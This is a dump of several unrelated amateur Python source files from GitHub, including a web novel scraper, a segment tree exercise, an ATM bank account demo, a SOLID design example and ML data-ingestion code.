honbunParagraphs:\r\n\t\tfile.write(f'{paragraph.get_text()}\\n')\r\n\t\tcount += len(f'{paragraph.get_text()}\\n')\r\n\t\timages = paragraph.find_all('img')\r\n\t\tif images:\r\n\t\t\tsrc = images[0]['src']\r\n\t\t\tfile.write(f'Image: {src}\\n')\r\n\t\t\tcount += len(f'Image: {src}\\n')\r\n\tchapterA = soup.find(id='novel_a')\r\n\tif chapterA:\r\n\t\tcount += writeLine(file)\r\n\t\tfile.write(f'{chapterA.get_text()}\\n')\r\n\t\tcount += len(f'{chapterA.get_text()}\\n')\r\n\treturn count\r\n\r\ndef countBody(soup):\r\n\tchapterP = soup.find(id='novel_p')\r\n\tcount = 0\r\n\tif chapterP:\r\n\t\tcount += len(f'{chapterP.get_text()}\\n')\r\n\t\tcount += countLine()\r\n\tchapterHonbun = soup.find(id='novel_honbun')\r\n\thonbunParagraphs = chapterHonbun.select('p')\r\n\tfor paragraph in honbunParagraphs:\r\n\t\tcount += len(f'{paragraph.get_text()}\\n')\r\n\t\timages = paragraph.find_all('img')\r\n\t\tif images:\r\n\t\t\tsrc = images[0]['src']\r\n\t\t\tcount += len(f'Image: {src}\\n')\r\n\tchapterA = soup.find(id='novel_a')\r\n\tif chapterA:\r\n\t\tcount += countLine()\r\n\t\tcount += len(f'{chapterA.get_text()}\\n')\r\n\treturn count\r\n\r\ndef writeTableOfContents(soup, file):\r\n\tcount = 0\r\n\tchapters = soup.find_all(['div', 'dl'], class_=[\"chapter_title\", \"novel_sublist2\"])\r\n\tfor index, chapter in enumerate(chapters):\r\n\t\tlines = chapter.get_text().strip().split(\"\\n\")\r\n\t\tlines = [line.strip() for line in lines if len(line.strip()) > 0]\r\n\t\tif len(lines) == 1:\r\n\t\t\tif index != 0:\r\n\t\t\t\tcount += writeLine(file)\r\n\t\t\tprint(f\"{lines[0]}\", file=file)\r\n\t\t\tcount += writeLine(file)\r\n\t\t\tcount += len(f\"{lines[0]}\")\r\n\t\telse:\r\n\t\t\tprint(lines[0], file=file)\r\n\t\t\tprint(lines[1], file=file)\r\n\t\t\tcount += len(lines[0])\r\n\t\t\tcount += len(lines[1])\r\n\treturn count\r\n\r\ndef getChapterUrls(soup):\r\n\turls = []\r\n\tchapters = soup.find_all(['div', 'dl'], class_=[\"chapter_title\", \"novel_sublist2\"])\r\n\tfor index, chapter in enumerate(chapters):\r\n\t\tlines = chapter.get_text().strip().split(\"\\n\")\r\n\t\tlines = [line.strip() for line in lines if len(line.strip()) > 0]\r\n\t\tif len(lines) == 1:\r\n\t\t\tcontinue\r\n\t\telse:\r\n\t\t\turls.append(f\"https://ncode.syosetu.com{chapter.find('a', href=True)['href']}\")\r\n\treturn urls\r\n\r\ndef writeChapters(soup, file, count):\r\n\tchapters = soup.find_all(['div', 'dl'], class_=[\"chapter_title\", \"novel_sublist2\"])\r\n\ttext = \"\"\r\n\tfor index, chapter in enumerate(chapters):\r\n\t\tlines = chapter.get_text().strip().split(\"\\n\")\r\n\t\tlines = [line.strip() for line in lines if len(line.strip()) > 0]\r\n\t\tif len(lines) == 1:\r\n\t\t\tcontinue\r\n\t\telse:\r\n\t\t\t# 9 is first chapter to download\r\n\t\t\t# if index < 9:\r\n\t\t\t# \tcontinue\r\n\t\t\tchapterUrl = f\"https://ncode.syosetu.com/{chapter.find('a', href=True)['href']}\"\r\n\t\t\tchapterResponse = requests.get(chapterUrl, headers=headers, cookies=cookies)\r\n\t\t\tchapterSoup = BeautifulSoup(chapterResponse.text, 'html.parser')\r\n\t\t\tsection = chapterSoup.find(['p'], class_=[\"chapter_title\"])\r\n\t\t\ttitle = chapterSoup.find(['p'], class_=[\"novel_subtitle\"]).get_text().strip()\r\n\t\t\tprogress = chapterSoup.find(['div'], id=[\"novel_no\"]).get_text().strip()\r\n\t\t\tprint(f\"Characters: {count}/100000 Progress: {progress}\")\r\n\t\t\tif section:\r\n\t\t\t\tcount += len(f\"セクション:{section.get_text().strip()}\")\r\n\t\t\tcount += countLine() + len(f\"章題:{title}\") + len(f\"章番号:{progress}\") + len(f\"日付:{lines[1]}\")\r\n\t\t\tcount += countBody(chapterSoup)\r\n\t\t\tif count > 100000:\r\n\t\t\t\t# print(f\"Last chapter: {progress}\")\r\n\t\t\t\treturn progress\r\n\t\t\twriteLine(file)\r\n\t\t\twriteChapterTitleAndProgress(chapterSoup, file)\r\n\t\t\tprint(f\"日付:{lines[1]}\", file=file)\r\n\t\t\twriteBody(chapterSoup, file)\r\n\r\ndef getChapter(chapterUrl):\r\n\tchapterNum = int(chapterUrl.split('/')[-1])\r\n\tdate = dates[chapterNum - 1]\r\n\tchapterResponse = requests.get(chapterUrl, headers=headers, cookies=cookies)\r\n\tchapterSoup = BeautifulSoup(chapterResponse.text, 'html.parser')\r\n\tsection = chapterSoup.find(['p'], class_=[\"chapter_title\"])\r\n\ttitle = chapterSoup.find(['p'], class_=[\"novel_subtitle\"]).get_text().strip()\r\n\tprogress = chapterSoup.find(['div'], id=[\"novel_no\"]).get_text().strip()\r\n\tindex = int(progress.split('/')[0])\r\n\tfile = codecs.open(f\"temp/{index}.txt\", 'w+', \"utf-8\")\r\n\tchapters = os.listdir(\"temp\")\r\n\tprint(f\"Progress: {len(chapters)}/{totalToDownload}\")\r\n\twriteLine(file)\r\n\twriteChapterTitleAndProgress(chapterSoup, file)\r\n\tprint(f\"日付:{date}\", file=file)\r\n\twriteBody(chapterSoup, file)\r\n\r\ndef splitTextToTranslate(textFile, novel):\r\n\ttextFile = codecs.open(path, 'r', \"utf-8\")\r\n\tsplittedFile = codecs.open(f'toTranslate/{novel.code} 0.txt', \"w+\", \"utf-8\")\r\n\tfileNum = 0\r\n\tcharNum = 0\r\n\tfor line in textFile.readlines():\r\n\t charNum += len(line)\r\n\t if charNum > 100000:\r\n\t charNum = 0\r\n\t fileNum += 1;\r\n\t splittedFile = codecs.open(f'toTranslate/{novel.code} {fileNum}.txt', \"w+\", \"utf-8\")\r\n\t splittedFile.write(line)\r\n\ttextFile.close()\r\n\tsplittedFile.close()\r\n\r\nlibrary = open('library.txt', 'r')\r\nmode = \"Null\"\r\ndates = []\r\nnovels = []\r\ntotalToDownload = 0\r\ntotalToUpdate = 0\r\nfor line in library.readlines():\r\n\tline = line.strip()\r\n\tif line == \"To Read\":\r\n\t\tmode = \"To Read\"\r\n\t\tcontinue\r\n\telif line == \"Reading\":\r\n\t\tmode = \"Reading\"\r\n\t\tcontinue\r\n\telif line == \"Done\":\r\n\t\tmode = \"Done\"\r\n\t\tcontinue\r\n\telif len(line) <= 0:\r\n\t\tcontinue\r\n\telse:\r\n\t\tif mode == \"To Read\":\r\n\t\t\tline = line.split(' ', 1)\r\n\t\t\tnovels.append(Novel(\"Null\", line[0], line[1]))\r\n\t\t\ttotalToDownload += 1\r\n\t\telif mode == \"Reading\":\r\n\t\t\tline = line.split(' ', 1)\r\n\t\t\tcodeAndTitle = line[1].split(' ', 1)\r\n\t\t\tnovels.append(Novel(line[0], codeAndTitle[0], codeAndTitle[1]))\r\n\t\t\ttotalToUpdate += 1\r\n\r\n\r\nPath(\"ncode\").mkdir(parents=True, exist_ok=True)\r\nPath(\"toTranslate\").mkdir(parents=True, exist_ok=True)\r\nPath(\"novel18\").mkdir(parents=True, exist_ok=True)\r\nncode = os.listdir(\"ncode\")\r\nnovel18 = os.listdir(\"novel18\")\r\ntoRead = list(filter(lambda novel: novel.status == \"Null\", novels))\r\nreading = list(filter(lambda novel: novel.status != \"Null\", novels))\r\nalreadyDownloaded = ncode + novel18\r\nalreadyDownloaded = [novel[:-4] for novel in alreadyDownloaded]\r\ncategory = [f\"ncode\" for file in ncode] + [f\"novel18\" for file in novel18]\r\ncategoryForTitle = dict(zip(alreadyDownloaded, category))\r\nprogress = 1\r\n\r\nif not os.path.isdir(\"translated\"):\r\n\tos.mkdir(\"translated\")\r\n\r\nfor novel in novels:\r\n\tif novel not in toRead:\r\n\t\tcontinue\r\n\ttotalWords = 0\r\n\tif novel.code in alreadyDownloaded:\r\n\t\tprint(f\"\\\"{novel.code}\\\" already downloaded. Cannot download preview.\")\r\n\t\tcontinue\r\n\tprint(f\"Downloading {progress}/{totalToDownload} previews: {novel.title}\")\r\n\turl = f\"https://ncode.syosetu.com/{novel.code}/\"\r\n\tresponse = requests.get(url, headers=headers, cookies=cookies)\r\n\tsoup = BeautifulSoup(response.text, 'html.parser')\r\n\tsynopsis = soup.find(id='novel_ex')\r\n\tpath = \"Null\"\r\n\tif \"ncode\" in response.url:\r\n\t\tpath = f\"ncode/{novel.code}.txt\"\r\n\telif \"novel18\" in response.url:\r\n\t\tpath = f\"novel18/{novel.code}.txt\"\r\n\telse:\r\n\t\tprint(f\"response.url error: {response.url}\")\r\n\ttemp = codecs.open(\"temp.txt\", 'w+', \"utf-8\")\r\n\ttotalWords += writeTitleAuthor(soup, temp)\r\n\tprint(f\"Nコード: {response.url}\", file=temp)\r\n\tif synopsis:\r\n\t\ttemp.write(f'{synopsis.get_text().strip()}\\n')\r\n\t\ttotalWords += len(f'{synopsis.get_text().strip()}\\n')\r\n\t\ttotalWords += writeLine(temp)\r\n\t\t# totalWords += writeTableOfContents(soup, temp)\r\n\t\tnewStatus = writeChapters(soup, temp, totalWords)\r\n\t\tnovel.status = newStatus\r\n\telse:\r\n\t\ttotalWords += writeLine(temp)\r\n\t\ttotalWords += writeBody(soup, temp)\r\n\t\tnovel.status = \"Short\"\r\n\tprogress += 1\r\n\ttemp.close()\r\n\ttemp = codecs.open('temp.txt', 'r', \"utf-8\")\r\n\ttextFile = codecs.open(path, 'w+', \"utf-8\")\r\n\tfor line in temp.readlines():\r\n\t\tline = line.strip()\r\n\t\tif len(line) <= 0:\r\n\t\t\tcontinue\r\n\t\telse:\r\n\t\t\tprint(line, file=textFile)\r\n\ttemp.close()\r\n\ttextFile.close()\r\n\tos.remove(\"temp.txt\")\r\n\tsplitTextToTranslate(textFile, novel)\r\n\r\nfor novel in novels:\r\n\tif novel not in reading:\r\n\t\tcontinue\r\n\tif not os.path.isdir(\"temp\"):\r\n\t\tos.mkdir(\"temp\")\r\n\t# if novel.title not in alreadyDownloaded:\r\n\t# \tprint(f\"\\\"{novel.title}\\\" missing. Cannot update chapters.\")\r\n\t# \tcontinue\r\n\tif novel.status == \"Short\":\r\n\t\tcontinue\r\n\turl = f\"https://ncode.syosetu.com/{novel.code}/\"\r\n\tresponse = requests.get(url, headers=headers, cookies=cookies)\r\n\tsoup = BeautifulSoup(response.text, 'html.parser')\r\n\tstart = int(novel.status.split('/')[0])\r\n\tend = int(list(filter(lambda piece: len(piece) > 0, getChapterUrls(soup)[-1].strip().split('/')))[-1])\r\n\tif start == end:\r\n\t\tcontinue\r\n\telse:\r\n\t\t# print(f\"Downloading {progress}/{totalToUpdate} updates: {novel.title}\")\r\n\t\tprint(novel.title)\r\n\t\tconfirm = \"null\"\r\n\t\twhile confirm != \"y\" and confirm != \"n\":\r\n\t\t\tconfirm = input(f\"There are {end - start} new chapter(s)! Download? (y/n): \")\r\n\t\tif confirm == \"n\":\r\n\t\t\tprint(f\"\\\"{novel.title}\\\" skipped.\")\r\n\t\t\tcontinue\r\n\tpath = \"Null\"\r\n\tif \"ncode\" in response.url:\r\n\t\tpath = f\"ncode/{novel.code}.txt\"\r\n\telif \"novel18\" in response.url:\r\n\t\tpath = f\"novel18/{novel.code}.txt\"\r\n\telse:\r\n\t\tprint(f\"response.url error: {response.url}\")\r\n\t# path = categoryForTitle[novel.title]\r\n\r\n\tif start == 0:\r\n\t\tsynopsis = soup.find(id='novel_ex')\r\n\t\ttemp = codecs.open(f\"temp/1.txt\", 'w+', \"utf-8\")\r\n\t\twriteTitleAuthor(soup, temp)\r\n\t\tprint(f\"Nコード: {response.url}\", file=temp)\r\n\t\ttemp.write(f'{synopsis.get_text().strip()}\\n')\r\n\t\ttemp.close()\r\n\r\n\tstart += 1\r\n\tchapterUrls = [f\"https://ncode.syosetu.com/{novel.code}/{i}\" for i in range(start, end + 1)]\r\n\t# print(f\"start = {start} end = {end}\")\r\n\t# print(chapterUrls)\r\n\tdates = soup.find_all('dt', class_=\"long_update\")\r\n\t# dates = [date.get_text().strip() for date in dates][start - 1:]\r\n\tdates = [date.get_text().strip() for date in dates]\r\n\ttotalToDownload = end - start + 1\r\n\tpool = ThreadPool(3)\r\n\tpool.map(getChapter, chapterUrls)\r\n\tprogress += 1\r\n\tchapters = natsorted([chapter for chapter in os.listdir(\"temp\")])\r\n\ttemp = codecs.open(\"temp.txt\", 'a+', \"utf-8\")\r\n\tfor chapter in chapters:\r\n\t\tfile = codecs.open(f\"temp/{chapter}\", 'r', \"utf-8\")\r\n\t\ttemp.write(file.read())\r\n\t\tfile.close()\r\n\ttemp.close()\r\n\ttemp = codecs.open('temp.txt', 'r', \"utf-8\")\r\n\ttextFile = codecs.open(path, 'a+', \"utf-8\")\r\n\tfor line in temp.readlines():\r\n\t\tline = line.strip()\r\n\t\tif len(line) <= 0:\r\n\t\t\tcontinue\r\n\t\telse:\r\n\t\t\tprint(line, file=textFile)\r\n\ttemp.close()\r\n\ttextFile.close()\r\n\tos.remove(\"temp.txt\")\r\n\tshutil.rmtree(\"temp\")\r\n\tsplitTextToTranslate(textFile, novel)\r\n\tnovel.status = f\"{end}/{end}\"\r\n\r\ntextFilesToConvertToDocX = [file for file in os.listdir(\"toTranslate\")]\r\nfor file in textFilesToConvertToDocX:\r\n\tdocument = Document()\r\n\tfont = document.styles['Normal'].font\r\n\tfont.name = 'Yu Mincho'\r\n\tfont.size = Pt(11)\r\n\tpath = f\"toTranslate/{file}\"\r\n\ttextFile = codecs.open(path, mode=\"r\", encoding=\"utf-8\", errors='ignore')\r\n\tlines = tuple(textFile)\r\n\tfor line in lines:\r\n\t\tdocument.add_paragraph(line.strip())\r\n\tfilename = file.rsplit(\".\", 1)[0] + \".docx\"\r\n\tdocument.save(f\"toTranslate/{filename}\")\r\n\ttextFile.close()\r\n\tos.remove(path)\r\n\r\nupdateLibrary(novels)","repo_name":"lincolnnguyen18/ScrapeTrans","sub_path":"fetchNovels.py","file_name":"fetchNovels.py","file_ext":"py","file_size_in_byte":14053,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"36034480258","text":"\"\"\"\nFrequency band information for different types of data processing.\n\"\"\"\nimport numpy as np\n\nclass DataFormat(object):\n def write_preprocessed(self):\n raise NotImplementedError\n def read_preprocessed(self):\n raise NotImplementedError\n\n# Chang lab frequencies\nfq_min = 4.0749286538265\nfq_max = 200.\nscale = 7.\ncfs = 2 ** (np.arange(np.log2(fq_min) * scale, np.log2(fq_max) * scale) / scale)\ncfs = np.array(cfs)\nsds = 10 ** ( np.log10(.39) + .5 * (np.log10(cfs)))\nsds = np.array(sds) * np.sqrt(2.)\nchang_lab = {'fq_min': fq_min,\n 'fq_max': fq_max,\n 'scale': scale,\n 'cfs': cfs,\n 'sds': sds,\n 'block_path': '{}_Hilb.h5'}\n\n# Standard neuro bands\nbands = ['theta', 'alpha', 'beta', 'gamma', 'high gamma']\nmin_freqs = [4., 8., 15., 30., 70.]\nmax_freqs = [7., 14., 29., 59., 150.]\nHG_freq = 200.\nneuro = {'bands': bands,\n 'min_freqs': min_freqs,\n 'max_freqs': max_freqs,\n 'HG_freq': HG_freq,\n 'block_path': '{}_neuro_Hilb.h5'}\n","repo_name":"BouchardLab/process_ecog","sub_path":"ecog/utils/bands.py","file_name":"bands.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"34679320125","text":"\"\"\"\n\nSumary\n\nOpen for extension and closed for modifications\n\nAfter you've written and tested a paticular class or feature, you should not modify it. Instead, you should extend it.\n\nFor this particular case, Specifications can be used.\n\n\"\"\"\n\nfrom enum import Enum\n\nclass Color(Enum):\n RED = 1\n BLUE = 2\n GREEN = 3\n\nclass Size(Enum):\n SMALL = 1\n MEDIUM = 2\n LARGE = 3\n\nclass Product():\n def __init__(self, \n name: str, \n color: Color, \n size: Size\n ) -> None:\n self.name = name\n self.color = color\n self.size = size\n\n def __str__(self) -> str:\n return self.name\n\n# Bad Approach\nclass BadFilter():\n\n def filter_by_color(self, \n color, \n products: list[Product]) -> Product | None:\n \"\"\" Function to check whether the producto color matchs with the color we are filtering\"\"\"\n for i in products:\n if i.color == color:\n yield i\n\n def filter_by_size(self, \n size, \n products: list[Product]) -> Product | None:\n for p in products:\n if p.size == size:\n yield p\n\n def filter_by_color_and_size(self, \n color,\n size,\n products: list[Product]) -> Product | None:\n for p in products:\n if p.color == color and p.size == size:\n yield p\n\n\n# SOLUTION USING OPEN CLOSE PRINCIPLE -> Open for extension, closed for modification\n# First we define a class called specification that will be used to define the filtering criteria. It will be used as an interface\nclass FilterSpecification():\n \"\"\" We define a method that checks if the spec is satisfied \"\"\"\n def is_satisfied(self):\n pass\n\n# Now we define the both critaria we can use for filtering\nclass ColorSpecification(FilterSpecification):\n def __init__(self, \n color: Color) -> None:\n self.color = color\n\n def is_satisfied(self, \n item: Product) -> bool:\n \"\"\" We check if the item we are passing meets the spec \"\"\"\n return self.color == item.color\n \nclass SizeSpecification(FilterSpecification):\n def __init__(self, \n size: Size) -> None:\n self.size = size\n\n def is_satisfied(self, \n item: Product) -> bool:\n \"\"\" We check if the item we are passing meets the spec \"\"\"\n return self.size == item.size\n\n\n# Then we define a better filter interface\nclass BetterFilter():\n def filter(self, \n items: list[Product], \n spec: ColorSpecification | SizeSpecification\n ):\n for item in items:\n if spec.is_satisfied(item):\n yield item # Yield return and object that can be iterated\n\nif __name__ == \"__main__\":\n apple = Product(\"apple\", Color.RED, Size.SMALL)\n green_apple = Product(\"green apple\", Color.GREEN, Size.SMALL)\n tree = Product(\"tree\", Color.GREEN, Size.MEDIUM)\n house = Product(\"house\", Color.BLUE, Size.LARGE)\n\n product_cataloge = [apple, green_apple, tree, house]\n\n # Check products\n for i in product_cataloge:\n print(i)\n\n \"\"\" BAD APPROACH \"\"\"\n # filter products using bad approach\n pf = BadFilter()\n # First we filter by color\n for i in pf.filter_by_color(Color.RED, product_cataloge):\n print(f\"{i} is red\")\n # Now we filter by size\n for i in pf.filter_by_size(Size.LARGE, product_cataloge):\n print(f\"{i} is Large\")\n\n \"\"\" BETTER APROACH USING OCP\"\"\"\n print(\n \"\"\" \n####################################################################################\nusing OCP\n####################################################################################\n \"\"\" \n )\n bf = BetterFilter()\n green = ColorSpecification(Color.GREEN)\n for i in list(bf.filter(product_cataloge, green)):\n print(f\"{i} is green\")\n\n large = SizeSpecification(Size.LARGE)\n for i in list(bf.filter(product_cataloge, large)):\n print(f\"{i} is large\")\n\n # TODO\n # 1) Implement and and or filters","repo_name":"andres925922/Design-patterns-python","sub_path":"SOLID/Open-Close/ocp.py","file_name":"ocp.py","file_ext":"py","file_size_in_byte":4217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"27097956068","text":"import os\nfrom dataclasses import dataclass\nfrom src.logger import logging\n\nfrom src.exception import CustomException\nimport sys\nimport pandas as pd\nimport json\nimport numpy as np\nimport sklearn\nfrom sklearn.model_selection import train_test_split\nfrom src.components.data_cleaning import TextCleaner\nfrom src.components.data_transformation import DataTransformation\nfrom src.components.data_transformation import DataTransformationConfig\n\n\n@dataclass\nclass DataIngestionConfig:\n train_data_path: str = os.path.join('artifacts', 'train.csv')\n test_data_path: str = os.path.join('artifacts', 'test.csv')\n raw_data_path: str = os.path.join('artifacts', 'raw.csv')\n\n\nclass DataIngestion:\n def __init__(self):\n self.ingestion_config = DataIngestionConfig()\n\n def initiate_data_ingestion(self):\n try:\n logging.info(\"Starting data process\")\n # f = open('data/complaints-2021-05-14_08_16_.json')\n f = open('/Users/kumarshivam/IdeaProjects/New_Job1/data/complaints-2021-05-14_08_16_.json')\n logging.info(\"File opened\")\n data = json.load(f)\n logging.info(\"loaded json data for dataframe.\")\n df = pd.json_normalize(data)\n logging.info(\"reading data from source\")\n\n os.makedirs(os.path.dirname(self.ingestion_config.train_data_path), exist_ok=True)\n\n df.to_csv(self.ingestion_config.raw_data_path, index=False, header=True)\n logging.info(\"Train test split initiated\")\n train_set, test_set = train_test_split(df, test_size=0.2, random_state=42)\n train_set.to_csv(self.ingestion_config.train_data_path, index=False, header=True)\n test_set.to_csv(self.ingestion_config.test_data_path, index=False, header=True)\n\n logging.info(\"Ingestion of the data is completed\")\n\n return (\n self.ingestion_config.train_data_path,\n self.ingestion_config.test_data_path,\n )\n\n except Exception as e:\n raise CustomException(e, sys)\n\n\nif __name__ == '__main__':\n obj = DataIngestion()\n train_data, test_data = obj.initiate_data_ingestion()\n\n data_transformation = DataTransformation()\n train_arr,test_arr = data_transformation.initiate_data_transformation(train_data, test_data)\n\n\n","repo_name":"rajputshivam/mltest","sub_path":"src/components/data_ingestion.py","file_name":"data_ingestion.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"38065645517","text":"import sys\nimport math\ninput = sys.stdin.readline\n\n\ndef init(node, s, e):\n if s == e:\n tree[node] = base[s]\n #minTree[node] = base[s]\n #maxTree[node] = base[s]\n return\n m = (s+e)//2\n init(node*2, s, m)\n init(node*2+1, m+1, e)\n\n #minTree[node] = min(minTree[node*2], minTree[node*2+1])\n #maxTree[node] = max(maxTree[node*2], maxTree[node*2+1])\n return\n\n\n'''\ndef getMax(node, s, e, l, r):\n if l > e or r < s:\n return -sys.maxsize\n if l <= s and e <= r:\n return maxTree[node]\n m = (s+e)//2\n return max(getMax(node*2, s, m, l, r), getMax(node*2+1, m+1, e, l, r))\n\n\ndef getMin(node, s, e, l, r):\n if l > e or r < s:\n return sys.maxsize\n if l <= s and e <= r:\n return minTree[node]\n m = (s+e)//2\n return min(getMin(node*2, s, m, l, r), getMin(node*2+1, m+1, e, l, r))\n'''\n\n\ndef update(node, s, e, idx, diff):\n if idx < s or idx > e:\n return\n tree[node] += diff\n if s != e:\n m = (s+e)//2\n update(node*2, s, m, idx, diff)\n update(node*2+1, m+1, e, idx, diff)\n\n\nN, M = map(int, input().split())\nbase = [int(input()) for _ in range(N)]\ntree = [0 for _ in range(2**(math.ceil(math.log2(N)+1)))]\n#minTree = [0 for _ in range(2**(math.ceil(math.log2(N)+1)))]\n#maxTree = [0 for _ in range(2**(math.ceil(math.log2(N)+1)))]\ninit(1, 0, N-1)\nfor _ in range(M):\n a, b = map(int, input().split())\n #print(getMin(1, 0, N-1, a-1, b-1), getMax(1, 0, N-1, a-1, b-1))\n","repo_name":"shg9411/algo","sub_path":"algo_py/datastructure/segment_tree_basic.py","file_name":"segment_tree_basic.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"32375327117","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport pprint\ndf=pd.read_csv('~/git_counts.csv')\ndf = df[df.Count > 0].sort_values('Count', ascending=False).reset_index().drop('index', axis=1)\ndf['Perc'] = round(df.Count / df.Count.sum()*100)\npprint.pprint(df)\nprint(f'\\n**** Total count: {df.Count.sum()} ****\\n')\nplot = plt.bar(df.Repo, df.Count)\nplt.tick_params(axis='x', labelsize=14)\nif len(df) > 9:\n\tplt.xticks(rotation=45, ha='center', va='center', rotation_mode='anchor')\n\nfor value in plot:\n\theight = value.get_height()\n\tplt.text(value.get_x() + value.get_width()/2., 1.002*height,'%d' % int(height), ha='center', va='bottom')\nmng = plt.get_current_fig_manager()\nmng.full_screen_toggle()\nplt.show()","repo_name":"amirsaleem1990/working","sub_path":"git_push_plot_script.py","file_name":"git_push_plot_script.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"38553361284","text":"from abc import ABC, abstractmethod\r\n\r\nclass Account(ABC):\r\n def __init__(self, account_number, balance):\r\n self.account_number = account_number\r\n self.balance = balance\r\n\r\n def deposit(self, amount):\r\n pass\r\n\r\n def withdraw(self,amount):\r\n pass\r\n\r\n def get_balance(self):\r\n return self.balance\r\n \r\nclass CheckingAccount(Account):\r\n def __init__(self, account_number, balance):\r\n super().__init__(account_number,balance)\r\n\r\n def deposit(self, amount):\r\n self.balance += amount\r\n\r\n def withdraw(self, amount):\r\n if self.balance >= amount:\r\n self.balance -= amount\r\n else:\r\n print(\"Insufficient Funds\")\r\n\r\nclass SavingsAccount(Account):\r\n def __init__(self, account_number, balance):\r\n super().__init__(account_number, balance)\r\n\r\n def deposit(self, amount):\r\n self.balance += amount\r\n\r\n def withdraw(self, amount):\r\n if self.balance >= amount:\r\n self.balance -= amount\r\n else:\r\n print(\"Insufficient Funds\")\r\n\r\nclass BusinessAccount(Account):\r\n def __init__(self, account_number, balance):\r\n super().__init__(account_number, balance)\r\n\r\n def deposit(self, amount):\r\n self.balance += amount\r\n\r\n def withdraw(self, amount):\r\n if self.balance >= amount:\r\n self.balance -= amount\r\n else:\r\n print(\"Insufficient Funds\")\r\n\r\ndef main():\r\n checking_account = CheckingAccount(\"12345\", 1000.0)\r\n savings_account = SavingsAccount(\"67890\", 5000.0)\r\n business_account = BusinessAccount(\"54321\", 20000.0)\r\n\r\n while True:\r\n print(\"\\nATM Menu:\")\r\n print(\"1. Check Balance\")\r\n print(\"2. Deposit\")\r\n print(\"3. Withdraw\")\r\n print(\"4. Exit\")\r\n\r\n choice = input(\"Enter your choice: \")\r\n\r\n if choice == \"1\":\r\n account_type = input(\"Enter account type (C for Checking, S for Savings, B for Business): \")\r\n if account_type == \"C\":\r\n print(f\"Checking Account Balance: ${checking_account.get_balance()}\")\r\n elif account_type == \"S\":\r\n print(f\"Savings Account Balance: ${savings_account.get_balance()}\")\r\n elif account_type == \"B\":\r\n print(f\"Business Account Balance: ${business_account.get_balance()}\")\r\n else:\r\n print(\"Invalid account type\")\r\n\r\n elif choice == \"2\":\r\n account_type = input(\"Enter account type (C for Checking, S for Savings, B for Business): \")\r\n amount = float(input(\"Enter the deposit amount: \"))\r\n if account_type == \"C\":\r\n checking_account.deposit(amount)\r\n print(\"Your amount has been Deposited\")\r\n elif account_type == \"S\":\r\n savings_account.deposit(amount)\r\n print(\"Your amount has been Deposited\")\r\n elif account_type == \"B\":\r\n business_account.deposit(amount)\r\n print(\"Your amount has been Deposited\")\r\n else:\r\n print(\"Invalid account type\")\r\n\r\n elif choice == \"3\":\r\n account_type = input(\"Enter account type (C for Checking, S for Savings, B for Business): \")\r\n amount = float(input(\"Enter the withdrawal amount: \"))\r\n if account_type == \"C\":\r\n checking_account.withdraw(amount)\r\n print(\"Your withdrawal is complete. Don't spend it all in one place!\")\r\n elif account_type == \"S\":\r\n savings_account.withdraw(amount)\r\n print(\"Your withdrawal is complete. Don't spend it all in one place!\")\r\n elif account_type == \"B\":\r\n business_account.withdraw(amount)\r\n print(\"Your withdrawal is complete. Don't spend it all in one place!\")\r\n else:\r\n print(\"Invalid account type\")\r\n \r\n elif choice == \"4\":\r\n print(\"Exiting the ATM program. Have a nice day!\")\r\n break\r\n else:\r\n print(\"Invalid choice. Please select a valid option.\")\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"afsalmafaa/Project","sub_path":"bank account manager.py","file_name":"bank account manager.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"38768082592","text":"\"\"\"empty message\n\nRevision ID: 6c6cfadb4bde\nRevises: c2f386dc1e56\nCreate Date: 2021-12-20 00:14:00.980885\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '6c6cfadb4bde'\ndown_revision = 'c2f386dc1e56'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('skills',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('skill_name', sa.String(length=255), nullable=False),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('skills')\n # ### end Alembic commands ###\n","repo_name":"dimitrovmartin/Jobify","sub_path":"migrations/versions/6c6cfadb4bde_.py","file_name":"6c6cfadb4bde_.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"32552600749","text":"import tensorflow as tf\nimport numpy as np\nimport pickle\nfrom tensorflow.keras.layers import Input, concatenate\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.callbacks import Callback\nfrom random import randint, random\nfrom ModelHandler import ModelHandler\nfrom DataHandler import DataHandler\n\n# SiameseNet class.\nclass SiameseNet:\n # Constructor for the SiameseNet object.\n # Object can be constructed either from scratch, in which case model_handler,\n # data_handler and alpha must be provided, or, alternatively, a premade object\n # can be loaded by specifying the model_name.\n # model_handler - ModelHandler object.\n # data_handler - DataHandler object.\n # alpha - Loss margin for contrastive loss.\n def __init__(self, model_handler=0, data_handler=0, alpha=0, model_name=0):\n if model_name == 0: \n self.data_handler = data_handler\n self.input_feature_size = data_handler.n_features\n \n model_handler.reinitialize()\n self.model_handler = model_handler\n self.embedding_model = model_handler.model\n self.embedding_size = model_handler.embedding_size\n \n self.alpha = alpha\n self.create_siamese_net()\n else:\n self.load_model(model_name)\n\n # Create siamese net.\n def create_siamese_net(self):\n # Define input tensors.\n input_1 = Input(shape=(self.input_feature_size,))\n input_2 = 